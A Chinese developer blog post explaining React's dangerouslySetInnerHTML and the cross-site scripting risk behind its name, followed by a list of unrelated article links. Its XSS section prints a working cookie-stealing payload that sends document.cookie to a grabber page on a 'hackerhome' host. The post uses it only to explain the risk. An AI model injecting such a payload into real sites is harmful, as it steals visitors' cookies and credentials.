咸鱼老弟
咸鱼老弟

dangerouslySetInnerHTML, 让React正常显示你的html代码

昨天在弄一个让内容换行显示时，遇到一个问题，就是我有<br />的代码在页面中不换行，而是直接显示<br />,代码如下：

<!DOCTYPE html>
<html>
    <head>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <title>dangerouslySetInnerHTML测试</title>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/react.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/JSXTransformer.js"></script>
    </head>
    <body>
        <div id="example"></div>
        <script type="text/jsx">

         var Test = React.createClass({

          getInitialState: function() {
            return {html: '我想让它换行显示<br />,我想让它换行显示<br />'};
          },

          render: function() {

            return (

              <div>{this.state.html}</div>
            );
          }
        });
 
        React.render(<Test />,  document.getElementById('example'));
 
        </script>
    </body>
</html>

　在页面中显示的内容是这样的：

如果你将这段代码放在正常的html页面中，它是会换行的，在React中则不会，因为react不会自动帮你解析你的html代码，就像你将上面的getInitialState

改为：

 getInitialState: function() {
            return {html: '<a href="#">这是一段html代码</a><a href="#">2</a><a href="#">3</a>'};
  },

　解析出来的还是这样的一段代码  

'<a href="#">这是一段html代码</a><a href="#">2</a><a href="#">3</a>'

 

这是为什么呢？找到的解释是这样的：

 

　　不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候，经常会出现错误，不合适的净化也是导致网页攻击 的原因之一。

　　我们的设计哲学是让确保安全应该是简单的，开发者在执行“不安全”的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设

计的，以此来警告，它的 prop 值（ 一个对象而不是字符串 ）应该被用来表明净化后的数据。

将上面的代码改为如下，就可以访问了：

dangerouslySetInnerHTML, 让React正常显示你的html代码_第1张图片

　　

　　这么做的意义在于，{__html:...} 背后的目的是表明它会被当成 "type/taint" 类型处理。 这种包裹对象，可以通过方法调用返回净化后的数据，随后这种标记过的数据可以

被传递给 dangerouslySetInnerHTML。

这个功能主要被用来与 DOM 字符串操作类库一起使用，所以提供的 HTML 必须要格式清晰（例如：传递 XML 校验）

　　这些解释是来自于官方说法。读完有点一头雾水，这是因为我们不了解什么是 cross-site scripting (XSS)攻击，当你了解这个攻击的时候，其实理解起来就比较好理解一些

 

什么是 cross-site scripting (XSS)攻击：

XSS示例

　　在深入了解XSS的各个方面之前，让我们首先了解XSS攻击到底是怎样完成的。

　　就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中，我们可以输入对该文章的评论，也可以输入以下HTML标记：

1 <Script>alert(“XSS attack available!”);</Script>

　　在读者按下提交键之后，该标记将被提交到服务器上，并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为：

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

　　而从用户的角度来看，该网页中就出现了一个警告：

dangerouslySetInnerHTML, 让React正常显示你的html代码_第2张图片

　　也就是说，用户输入的脚本语言已经被用户的浏览器成功执行。当然，这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者，其所插入的脚本代码更可能如下所示：

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

　　该段脚本将向当前评论内插入一个图片，而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来，其仅仅是一个不能显示的图片。但是对于恶意攻击者而言，该JSP页面将自动记录传入的msg参数内容，即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息，甚至是用户名，密码等重要信息。

所以，react的做法是不直接读取你的html代码，以此来避免cross-site scripting (XSS)攻击，让你的代码更加安全

 

更多关于cross-site scripting (XSS)攻击的介绍，可以参考这篇文章：http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html



你可能感兴趣的:(dangerouslySetInnerHTML, 让React正常显示你的html代码)

  • Python 的内置函数 repr IMPYLH python笔记
    Python内建函数列表>Python的内置函数reprPython的内置函数repr()是一个非常重要的对象字符串表示函数，其主要功能是返回一个对象的"官方"字符串表示形式（通常称为"representation"）。这个字符串通常能够被Python解释器读取，并尽可能准确地重建该对象。详细特性：可重建性原则：repr()返回的字符串理论上应该能够通过eval()函数重新构造出原对象与str()
  • 程序环境和预处理 晚云与城 c语言
    程序的翻译环境1.翻译环境：将源代码转为可执行的机器指令。程序的执行环境1.执行环境：用于实际执行代码。详解：C语言程序的编译+链接1.要了解的名词：源文件（c），目标文件（obj）编译器，链接器，链接库，可执行程序。2.源文件（可多个）——>编译器（每个源文件对应一个）——>目标文件——>链接器(将目标文件捆在一起)——>可执行程序。链接库——>链接器——>可执行程序。（会引入标准C函数库中任何
  • C语言文件操作
    什么是文件1.文件是指硬盘上的文件2.类别：程序文件，数据文件。3.程序文件（在windows环境下·）：源文件（后最为.c）,目标文件（后缀为.obj）,可执行文件（后缀为.exe）.4.数据文件：存储的是程序运行时读写的数据，可以是读取或输出的文件。文件名1.组成部分：文件路径+文件名主干+文件后缀。2.windows系统下：文件名：D:\Work\Report\2025_Q2_Sales.x
  • c语言——数组 晚云与城 c语言算法数据结构
    目录1.数组的概念2.⼀维数组的创建和初始化3.⼀维数组的使用4.⼀维数组在内存中的存储5.sizeof计算数组元素个数6.⼆维数组的创建7.⼆维数组的初始化8.⼆维数组的使用9.⼆维数组在内存中的存储10.C99中的变长数组1.数组的概念数组是一组相同类型元素的集合（能与数学中的集合联想起来理解）。主要目的之一是能够批量存储多个相同类型的数据，让其更容易解决批量操作的问题。1.放1个或多个数据，
  • 数据结构分类：逻辑与存储结构详解 晨曦543210 算法数据结构
    数据结构可以根据逻辑结构和物理结构（存储结构）进行分类，1.逻辑结构逻辑结构描述数据元素之间的抽象关系，分为线性结构和非线性结构。（1）线性结构数据元素之间存在一对一的线性关系，每个元素最多有一个前驱和一个后继。常见类型：线性表：数组、链表（单链表、双向链表、循环链表等）。栈（LIFO）：后进先出，如函数调用栈。队列（FIFO）：先进先出，如任务调度队列。字符串：字符的线性序列。（2）非线性结构数
  • shell编程之awk命令详解 爱莉希雅&&& 运维服务器linuxgit
    1.awk教程1.1调用awkawk是一种强大的文本处理工具，在Linux系统中广泛应用于日志分析、数据处理等场景。调用awk主要有以下三种方式：1.1.1命令行方式基本语法为：awk(-Ffiled-separator)'commands'input-files其中，-F用于指定分隔符，默认情况下，awk以空格或制表符作为分隔符。commands是awk的命令，input-files则是要处理的
  • Python 2.7.13安装与配置教程 金融先生-Frank
    本文还有配套的精品资源，点击获取简介：Python2.7.13是Python2.x系列的最后一个版本，虽然不再维护，但许多遗留系统仍在使用。本教程详细介绍了Python2.7.13在Windows系统上的安装流程，并提供了环境变量配置、安装验证以及如何开始使用Python的方法。同时强调了Python3.x的迁移重要性，并提供了学习资源和第三方库安装的指导。1.Python2.7.13重要性与现状
  • linux 系统已经部署并正常提供服务的docker存储目录迁移 添财小哥 dockerlinuxdockereureka
    一、背景描述当前机器中工740G硬盘，其中根目录分配了100G，其余640G挂载到了/home2目录下，docker的默认安装路径为/var/lib/docker/，之前安装的路径是走的默认路径，随着业务和docker镜像的增多，不断挤占系统盘空间，将docker路径迁移到/home2路径下的动作刻不容缓。二、检查docker的基本信息执行命令，检查docker信息：dockerinfo可以看到d
  • 比Axure更简单？墨刀高保真原型交互“监听变量”使用教程 产品设计大观 产品经理知识库axure墨刀交互高保真原型交互设计高保真交互原型变量
    在原型设计中，实现高保真原型就离不开动态交互设计，这是成为中高阶产品经理的一项技能。尤其是在需要表达业务逻辑复杂、动态反馈频繁的产品场景中，静态页面效果往往不及动态原型。在众多原型设计工具里，以交互功能为优势的莫过于Axure了，但也正因如此Axure有着明显高的上手门槛，就此让很多产品经理对高保真交互原型望而却步。不过，随着近些年墨刀在高级交互功能上的开发，它并未走Axure的老路而是另辟蹊径，
  • Python 爬虫实战：保险公司产品条款现代技术高效爬取 Python核芯 Python爬虫实战项目python爬虫开发语言保险
    一、引言在当今数字化时代，保险行业作为金融领域的重要组成部分，其产品条款信息的获取对于消费者、研究人员以及行业从业者都具有重要意义。然而，面对海量的保险产品条款数据，如何高效、准确地爬取这些信息成为了一个亟待解决的问题。本文将详细介绍如何利用现代Python爬虫技术，针对保险公司产品条款进行高效爬取，旨在为相关领域的研究和应用提供有力的技术支持。二、爬取目标与需求分析（一）爬取目标本次爬取的目标是
  • Python——turtle库 宅男很神经 开发语言python
    前言：海龟绘图的起源与PythonTurtle库的哲学在计算机图形学的浩瀚世界中，Python的turtle（海龟绘图）库以其独特的魅力，为初学者打开了一扇通往可视化编程的奇妙大门。然而，其深度远不止于简单的入门，它蕴含着事件驱动、状态机、坐标几何以及与底层GUI库（Tkinter）交互的精妙机制。本指南将带您从最底层的逻辑开始，逐步向上，全面、无死角地剖析turtle库的每一个细节，揭示其内部运
  • 深度学习前置知识全面解析：从机器学习到深度学习的进阶之路
    一、引言：人工智能时代的核心技术在当今这个数据爆炸的时代，人工智能(AI)已经成为推动社会进步的核心技术之一。作为AI领域最重要的分支，深度学习(DeepLearning)在计算机视觉、自然语言处理、语音识别等领域取得了突破性进展，彻底改变了我们与机器交互的方式。本教案将从机器学习的基础知识出发，系统性地介绍深度学习的核心概念、数学基础、网络架构和训练方法，为读者构建完整的知识体系框架。无论你是刚
  • Pytorch 之torch.nn初探 torch.nn.Module与线性--Linear layers 十有久诚 人工智能机器学习pytorch
    初探torch.nn.Module神经网络可以使用torch.nn包构建。它提供了几乎所有与神经网络相关的功能，例如：线性图层nn.Linear，nn.Bilinear卷积层nn.Conv1d，nn.Conv2d，nn.Conv3d，nn.ConvTranspose2d非线性nn.Sigmoid，nn.Tanh，nn.ReLU，nn.LeakyReLU池化层nn.MaxPool1d，nn.Aver
  • Java基础 字符串类 String StringBuffer 和StringBuilder 骑牛小道士 java基础java开发语言
    字符串核心对比表String：不可变字符串StringBuffer：线程安全的可变字符串扩容机制：StringBuilder：线程不安全的高效可变字符串使用场景决策树1.String：不可变字符串，任何修改都会创建新的字符串对象。2.StringBuffer：可变字符串，线程安全（方法使用synchronized修饰），适合多线程环境3.StringBuilder：可变字符串，非线程安全（没有同步
  • 深入解析VAE：从理论到PyTorch实战，一步步构建你的AI“艺术家” 电脑能手 人工智能深度学习python
    摘要：你是否好奇AI如何“凭空”创造出从未见过的人脸或画作？变分自编码器（VAE）就是解开这一谜题的关键钥匙之一。本文将带你从零开始，深入浅出地剖析VAE的迷人世界。我们将用生动的比喻解释其核心思想，拆解其背后的数学原理（KL散度与重参数技巧），并最终用PyTorch代码手把手地构建、训练和可视化一个完整的VAE模型。无论你是初学者还是有一定经验的开发者，相信这篇文章都能让你对生成模型有一个全新的
  • PyTorch实战：从零构建CNN模型，轻松搞定MNIST手写数字识别
    PyTorch实战：从零构建CNN模型，轻松搞定MNIST手写数字识别大家好！欢迎来到我的深度学习博客！对于每个踏入计算机视觉领域的人来说，MNIST手写数字识别就像是编程世界的“Hello,World!”。它足够简单，能够让我们快速上手；也足够完整，可以帮我们走通一个深度学习项目的全流程。之前我们可能用Keras体验过“搭积木”式的快乐，今天，我们将换一个同样强大且灵活的框架——PyTorch，
  • 从文档海洋到智能问答：用大模型和RAG打造下一代企业知识库的实战之路 电脑能手 人工智能算法语言模型深度学习python
    从文档海洋到智能问答：用大模型和RAG打造下一代企业知识库的实战之路摘要：在信息爆炸的今天，企业内部文档（如SOP、技术手册、FAQ）数量激增，传统的关键词搜索常常让我们在“文档海洋”中迷失。本文将分享一次从0到1的实战探索，讲述如何利用大语言模型（LLM）和检索增强生成（RAG）技术，将静态、孤立的知识库，重塑为一个能“思考”和“对话”的智能问答系统。我们将从理念澄清、技术选型、代码实战到未来展
  • 怎么下载Windows 11 官方镜像文件（ISO 文件） 电脑能手 windows系统安全microsoft
    下载Windows11官方镜像文件（ISO文件）主要有三种官方、安全可靠的方法。我会详细介绍每一种，并推荐最适合不同需求的方法。重要提示：请务必只从微软官方网站下载，以避免下载到被篡改或捆绑了恶意软件的镜像文件。方法一：直接下载ISO镜像文件（最推荐，最灵活）这是最直接、最常用的方法，适合绝大多数用户，特别是那些需要创建可启动U盘、在虚拟机中安装，或者进行全新安装的用户。访问官方下载页面：打开浏览
  • Go语言项目工程化 — 常见开发工具与 CI/CD 支持 程序员爱钓鱼 gingolang开发语言后端
    在Go语言的项目工程化实践中，常见开发工具与CI/CD支持是保障团队协作、高效交付与项目质量的关键。以下是第68章的详细内容。一、开发辅助工具Go语言生态为开发者提供了丰富的工具，以提高代码质量与开发效率。1.格式化与静态检查工具说明gofmt标准格式化工具，自动缩进、对齐govet发现潜在问题，如未使用变量、误用fmt占位符golint检查代码风格规范（非强制）staticcheck高级静态分析
  • 三分钟实现数据备份自动化 enter回车键 影刀RPARPA影刀
    在企业日常办公和数据管理中，数据意外丢失会带来严重损失，如业务中断、重要信息损毁等。而手动备份不仅效率低，还容易出现疏漏。影刀RPA凭借强大的自动化能力，可轻松实现数据备份自动化，仅需简单几步，三分钟内就能完成设置，为数据安全保驾护航。一、准备工作在开始使用影刀RPA进行数据备份前，需要完成以下准备：注册与安装：访问影刀RPA官方网站，完成账号注册，根据系统提示下载并安装影刀RPA软件到电脑。明确
  • 实现一个简单的rpc框架-------0序言 qq553270311 rpc网络协议网络
    rpc框架在互联网公司中有着广泛的应用，在美团实习的时候，项目使用rpc框架来进行服务间的相互调用，这也正迎合了微服务架构的思想，把一个大的服务拆分为几个微服务，每个微服务履行特定的职责，如果服务之间需要通信，或者要使用其他服务提供的功能，则需要远程服务调用。一个典型的rpc框架如下图所示：客户端：使用服务的一方，调用的格式可能是(服务名，参数，服务端ip地址)。服务端：提供服务的一方，其职责是要
  • 【字节跳动】数据挖掘面试题0005：在旋转有序数组中查找是否存在元素key 言析数智 数据挖掘常见面试题算法面试题数据挖掘二分查找法
    文章大纲方法思路代码解释问题场景：在“打乱”的有序数组里找数核心思路：每次排除一半可能性分步骤找数（以数组[7,8,9,10,1,2,3]为例，找数字10）再举个反例：找数字5（数组中没有）用“左右有序”的逻辑来总结代码的“人话”翻译为什么时间复杂度是O(logn)？要在旋转后的有序数组中以O(logn)时间复杂度查找元素，可利用二分查找的变体。关键在于确定哪一半数组仍然有序，并判断目标值是否在该
  • 重生学AI第十五集：学习非线性激活函数
    背景知识激活是什么意思？“激活”一词来源于生物学神经系统，在人的大脑中，存在着大量的神经元。每个神经元在接收到足够强的刺激时，会被激活，产生电信号并传递给其他神经元。这些电信号在神经网络中层层流动，最终形成了大脑对外界信息的反应。神经元就等同于人工神经网络中的基本计算单元，每一个网络层都包含着许多这样的神经元，激活函数就是为了能够判断输入是否达到“激活”标准，达到激活标准，则会影响后续计算，反之，
  • Mac安装moviepy报错问题 摸爬滚打李上进 macospython
    命令很简单没啥好说的pip3installmoviepy一共遇到两个报错，已经解决了，没有图，但是报错信息可以找到第一条报错：RuntimeError:Noffmpegexecouldbefound.Installffmpegonyoursystem,orsettheIMAGEIO_FFMPEG_EXEenvironmentvariable.解决方法：两条命令brewinstallffmpegbr
  • Jenkins 插件深度应用：让你的CI/CD流水线如虎添翼 [特殊字符] 真实的菜 devopsjenkinsci/cdservlet
    Jenkins插件深度应用：让你的CI/CD流水线如虎添翼嘿，各位开发小伙伴！今天咱们来聊聊Jenkins的插件生态系统。如果说Jenkins是一台强大的引擎，那插件就是让这台引擎发挥最大威力的各种零部件。准备好了吗？让我们一起探索Jenkins插件的奇妙世界！本期导航常用插件推荐：SonarQube代码质量检测插件深度解析插件安装与管理：官方插件库使用与第三方插件配置技巧️自定义插件开发：从零开
  • Pytorch：nn.Linear中是否自动应用softmax函数 浩瀚之水_csdn 深度学习目标检测#Pytorch框架pytorch人工智能python
    在本文中，我们将介绍Pytorch中的nn.Linear模块以及它是否自动应用softmax函数。nn.Linear是Pytorch中用于定义线性转换的模块，常用于神经网络的全连接层。一、什么是nn.Linearnn.Linear是PyTorch中的一个类，它是实现线性变换的模块。nn.Linear的主要作用是将输入张量和权重矩阵相乘，再添加偏置，生成输出张量。我们来看一个简单的示例，展示如何使用
  • 软件测试-持续集成 Oooon_the_way ci/cd持续集成
    一、持续集成的核心概念与价值定义与目标持续集成（CI）指开发人员频繁（每日多次）将代码变更合并至共享主干，并通过自动化构建和测试验证集成的过程46。核心目标包括：尽早发现缺陷：避免集成阶段的“最后一公里”问题（如代码冲突、兼容性错误）。缩短反馈周期：提交后立即触发测试，10分钟内反馈结果，加速问题修复8。核心价值效率提升：自动化构建替代手动操作，节省测试部署时间9。质量保障：通过分层测试（单元/集
  • 类、对象、构造器
    类与对象的关系类是一种抽象的数据类型，它是对某一种事物整体描述/定义，但不能代表某一个具体的事物。对象是抽象概念的具体实例。创建与初始化对象使用new关键字创建对象使用new关键字创建的时候，除了分配内存空间之外，还会给创建好的对象进行默认的初始化以及对类中构造器的使用。类中的构造器也称为构造方法，是在进行创建对象的时候必须调用的，并且构造器有以下两个特点：必须和类的名字相同必须没有返回类型，也不
  • JAVA-封装 初学小白... java开发语言
    该露的露，该藏的藏程序设计要追求”高内聚，低耦合"，高内聚就是类的内部数据操作细节自己完成，不允许外部干涉；低耦合：仅暴露少量的方法给外部使用封装（数据隐藏）通常，应禁止直接访问一个对象中数据的实际表示，而应通过操作接口来访问，这称为信息隐藏属性私有，get/setget获得这个数据set给这个数据设置值代码示例//类private:私有publicclassStudent{//属性私有priva
  • Mysql存储引擎
    对于一张mysql的表，需要存储表结构、数据和索引，存储引擎直接影响上面内容的存储方式mysql主要存储引擎包括：MyISAM和InnoDBMyISAM引擎不支持事务和外键、索引采用非聚簇索引，优势在于访问速度块对事务没有完整性要求，以select、insert为主的应用基本可以用这个引擎创建表。MyISAM表在磁盘上存储成3个文件，其文件名和表名相同，扩展名分别是：.frm（存储表定义）.MYD
  • java线程的无限循环和退出 3213213333332132 java
    最近想写一个游戏，然后碰到有关线程的问题，网上查了好多资料都没满足。 突然想起了前段时间看的有关线程的视频，于是信手拈来写了一个线程的代码片段。 希望帮助刚学java线程的童鞋 package thread; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date
  • tomcat 容器 BlueSkator tomcatWebservlet
    Tomcat的组成部分 1、server A Server element represents the entire Catalina servlet container. (Singleton) 2、service service包括多个connector以及一个engine，其职责为处理由connector获得的客户请求。   3、connector 一个connector
  • php递归,静态变量,匿名函数使用 dcj3sjt126com PHP递归函数匿名函数静态变量引用传参
      <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Current To-Do List</title> </head> <body>
  • 属性颜色字体变化 周华华 JavaScript
    function changSize(className){ var diva=byId("fot") diva.className=className; } </script> <style type="text/css"> .max{ background: #900; color:#039;
  • 将properties内容放置到map中 g21121 properties
    代码比较简单： private static Map<Object, Object> map; private static Properties p; static { //读取properties文件 InputStream is = XXX.class.getClassLoader().getResourceAsStream("xxx.properti
  • [简单]拼接字符串 53873039oycg 字符串
             工作中遇到需要从Map里面取值拼接字符串的情况，自己写了个，不是很好，欢迎提出更优雅的写法，代码如下：           import java.util.HashMap; import java.uti
  • Struts2学习 云端月影
    最近开始关注struts2的新特性，从这个版本开始，Struts开始使用convention-plugin代替codebehind-plugin来实现struts的零配置。 配置文件精简了，的确是简便了开发过程，但是，我们熟悉的配置突然disappear了，真是一下很不适应。跟着潮流走吧，看看该怎样来搞定convention-plugin。 使用Convention插件，你需要将其JAR文件放
  • Java新手入门的30个基本概念二 aijuans java新手java 入门
    基本概念:　　1.OOP中唯一关系的是对象的接口是什么,就像计算机的销售商她不管电源内部结构是怎样的,他只关系能否给你提供电就行了,也就是只要知道can or not而不是how and why.所有的程序是由一定的属性和行为对象组成的,不同的对象的访问通过函数调用来完成,对象间所有的交流都是通过方法调用,通过对封装对象数据,很大限度上提高复用率。　　2.OOP中最重要的思想是类,类是模板是蓝图,
  • jedis 简单使用 antlove javarediscachecommandjedis
    jedis.RedisOperationCollection.java package jedis; import org.apache.log4j.Logger; import redis.clients.jedis.Jedis; import java.util.List; import java.util.Map; import java.util.Set; pub
  • PL/SQL的函数和包体的基础 百合不是茶 PL/SQL编程函数包体显示包的具体数据包
    由于明天举要上课,所以刚刚将代码敲了一遍PL/SQL的函数和包体的实现(单例模式过几天好好的总结下再发出来);以便明天能更好的学习PL/SQL的循环,今天太累了,所以早点睡觉,明天继续PL/SQL总有一天我会将你永远的记载在心里,,,   函数; 函数:PL/SQL中的函数相当于java中的方法;函数有返回值 定义函数的 --输入姓名找到该姓名的年薪 create or re
  • Mockito(二)--实例篇 bijian1013 持续集成mockito单元测试
            学习了基本知识后，就可以实战了，Mockito的实际使用还是比较麻烦的。因为在实际使用中，最常遇到的就是需要模拟第三方类库的行为。         比如现在有一个类FTPFileTransfer，实现了向FTP传输文件的功能。这个类中使用了a
  • 精通Oracle10编程SQL(7)编写控制结构 bijian1013 oracle数据库plsql
    /* *编写控制结构 */ --条件分支语句 --简单条件判断 DECLARE v_sal NUMBER(6,2); BEGIN select sal into v_sal from emp where lower(ename)=lower('&name'); if v_sal<2000 then update emp set
  • 【Log4j二】Log4j属性文件配置详解 bit1129 log4j
    如下是一个log4j.properties的配置   log4j.rootCategory=INFO, stdout , R log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appe
  • java集合排序笔记 白糖_ java
    public class CollectionDemo implements Serializable,Comparable<CollectionDemo>{ private static final long serialVersionUID = -2958090810811192128L; private int id; private String nam
  • java导致linux负载过高的定位方法 ronin47
    定位java进程ID 可以使用top或ps -ef |grep java ![图片描述][1] 根据进程ID找到最消耗资源的java pid 比如第一步找到的进程ID为5431 执行 top -p 5431 -H ![图片描述][2] 打印java栈信息 $ jstack -l 5431 > 5431.log 在栈信息中定位具体问题 将消耗资源的Java PID转
  • 给定能随机生成整数1到5的函数，写出能随机生成整数1到7的函数 bylijinnan 函数
    import java.util.ArrayList; import java.util.List; import java.util.Random; public class RandNFromRand5 { /** 题目：给定能随机生成整数1到5的函数，写出能随机生成整数1到7的函数。 解法1： f(k) = (x0-1)*5^0+(x1-
  • PL/SQL Developer保存布局 Kai_Ge
          近日由于项目需要，数据库从DB2迁移到ORCAL，因此数据库连接客户端选择了PL/SQL Developer。由于软件运用不熟悉，造成了很多麻烦，最主要的就是进入后，左边列表有很多选项，自己删除了一些选项卡，布局很满意了，下次进入后又恢复了以前的布局，很是苦恼。在众多PL/SQL Developer使用技巧中找到如下这段：   &n
  • [未来战士计划]超能查派[剧透,慎入] comsci 计划
           非常好看,超能查派,这部电影......为我们这些热爱人工智能的工程技术人员提供一些参考意见和思想........        虽然电影里面的人物形象不是非常的可爱....但是非常的贴近现实生活....    &nbs
  • Google Map API V2 dai_lm google map
    以后如果要开发包含google map的程序就更麻烦咯 http://www.cnblogs.com/mengdd/archive/2013/01/01/2841390.html 找到篇不错的文章，大家可以参考一下 http://blog.sina.com.cn/s/blog_c2839d410101jahv.html 1. 创建Android工程 由于v2的key需要G
  • java数据计算层的几种解决方法2 datamachine javasql集算器
    2、SQL     SQL/SP/JDBC在这里属于一类，这是老牌的数据计算层，性能和灵活性是它的优势。但随着新情况的不断出现，单纯用SQL已经难以满足需求，比如： JAVA开发规模的扩大，数据量的剧增，复杂计算问题的涌现。虽然SQL得高分的指标不多，但都是权重最高的。     成熟度：5星。最成熟的。   
  • Linux下Telnet的安装与运行 dcj3sjt126com linuxtelnet
    Linux下Telnet的安装与运行   linux默认是使用SSH服务的 而不安装telnet服务  如果要使用telnet 就必须先安装相应的软件包  即使安装了软件包 默认的设置telnet 服务也是不运行的 需要手工进行设置 如果是redhat9，则在第三张光盘中找到 telnet-server-0.17-25.i386.rpm
  • PHP中钩子函数的实现与认识 dcj3sjt126com PHP
    假如有这么一段程序： function fun(){ fun1(); fun2(); }   首先程序执行完fun1()之后执行fun2()然后fun()结束。   但是，假如我们想对函数做一些变化。比如说，fun是一个解析函数，我们希望后期可以提供丰富的解析函数，而究竟用哪个函数解析，我们希望在配置文件中配置。这个时候就可以发挥钩子的力量了。   我们可以在fu
  • EOS中的WorkSpace密码修改 蕃薯耀 修改WorkSpace密码
    EOS中BPS的WorkSpace密码修改 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 201
  • SpringMVC4零配置--SpringSecurity相关配置【SpringSecurityConfig】 hanqunfeng SpringSecurity
     SpringSecurity的配置相对来说有些复杂，如果是完整的bean配置，则需要配置大量的bean，所以xml配置时使用了命名空间来简化配置，同样，spring为我们提供了一个抽象类WebSecurityConfigurerAdapter和一个注解@EnableWebMvcSecurity，达到同样减少bean配置的目的，如下：   applicationContex
  • ie 9 kendo ui中ajax跨域的问题 jackyrong AJAX跨域
    这两天遇到个问题，kendo ui的datagrid，根据json去读取数据，然后前端通过kendo ui的datagrid去渲染，但很奇怪的是，在ie 10,ie 11,chrome,firefox等浏览器中，同样的程序， 浏览起来是没问题的，但把应用放到公网上的一台服务器， 却发现如下情况： 1） ie 9下，不能出现任何数据，但用IE 9浏览器浏览本机的应用，却没任何问题
  • 不要让别人笑你不能成为程序员 lampcy 编程程序员
    在经历六个月的编程集训之后，我刚刚完成了我的第一次一对一的编码评估。但是事情并没有如我所想的那般顺利。 说实话，我感觉我的脑细胞像被轰炸过一样。 手慢慢地离开键盘，心里很压抑。不禁默默祈祷：一切都会进展顺利的，对吧？至少有些地方我的回答应该是没有遗漏的，是不是？ 难道我选择编程真的是一个巨大的错误吗——我真的永远也成不了程序员吗？ 我需要一点点安慰。在自我怀疑，不安全感和脆弱等等像龙卷风一
  • 马皇后的贤德 nannan408
       马皇后不怕朱元璋的坏脾气，并敢理直气壮地吹耳边风。众所周知，朱元璋不喜欢女人干政，他认为“后妃虽母仪天下，然不可使干政事”，因为“宠之太过，则骄恣犯分，上下失序”，因此还特地命人纂述《女诫》，以示警诫。但马皇后是个例外。 　　有一次，马皇后问朱元璋道：“如今天下老百姓安居乐业了吗？”朱元璋不高兴地回答：“这不是你应该问的。”马皇后振振有词地回敬道：“陛下是天下之父，
  • 选择某个属性值最大的那条记录（不仅仅包含指定属性，而是想要什么属性都可以） Rainbow702 sqlgroup by最大值max最大的那条记录
    好久好久不写SQL了，技能退化严重啊！！！   直入主题： 比如我有一张表，file_info， 它有两个属性（但实际不只，我这里只是作说明用）： file_code, file_version 同一个code可能对应多个version 现在，我想针对每一个code，取得它相关的记录中，version 值 最大的那条记录， SQL如下： select *
  • VBScript脚本语言 tntxia VBScript
      VBScript 是基于VB的脚本语言。主要用于Asp和Excel的编程。   VB家族语言简介   Visual Basic 6.0           源于BASIC语言。           由微软公司开发的包含协助开发环境的事
  • java中枚举类型的使用 xiao1zhao2 javaenum枚举1.5新特性
    枚举类型是j2se在1.5引入的新的类型,通过关键字enum来定义,常用来存储一些常量.   1.定义一个简单的枚举类型 public enum Sex { MAN, WOMAN }   枚举类型本质是类,编译此段代码会生成.class文件.通过Sex.MAN来访问Sex中的成员,其返回值是Sex类型.   2.常用方法 静态的values()方
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他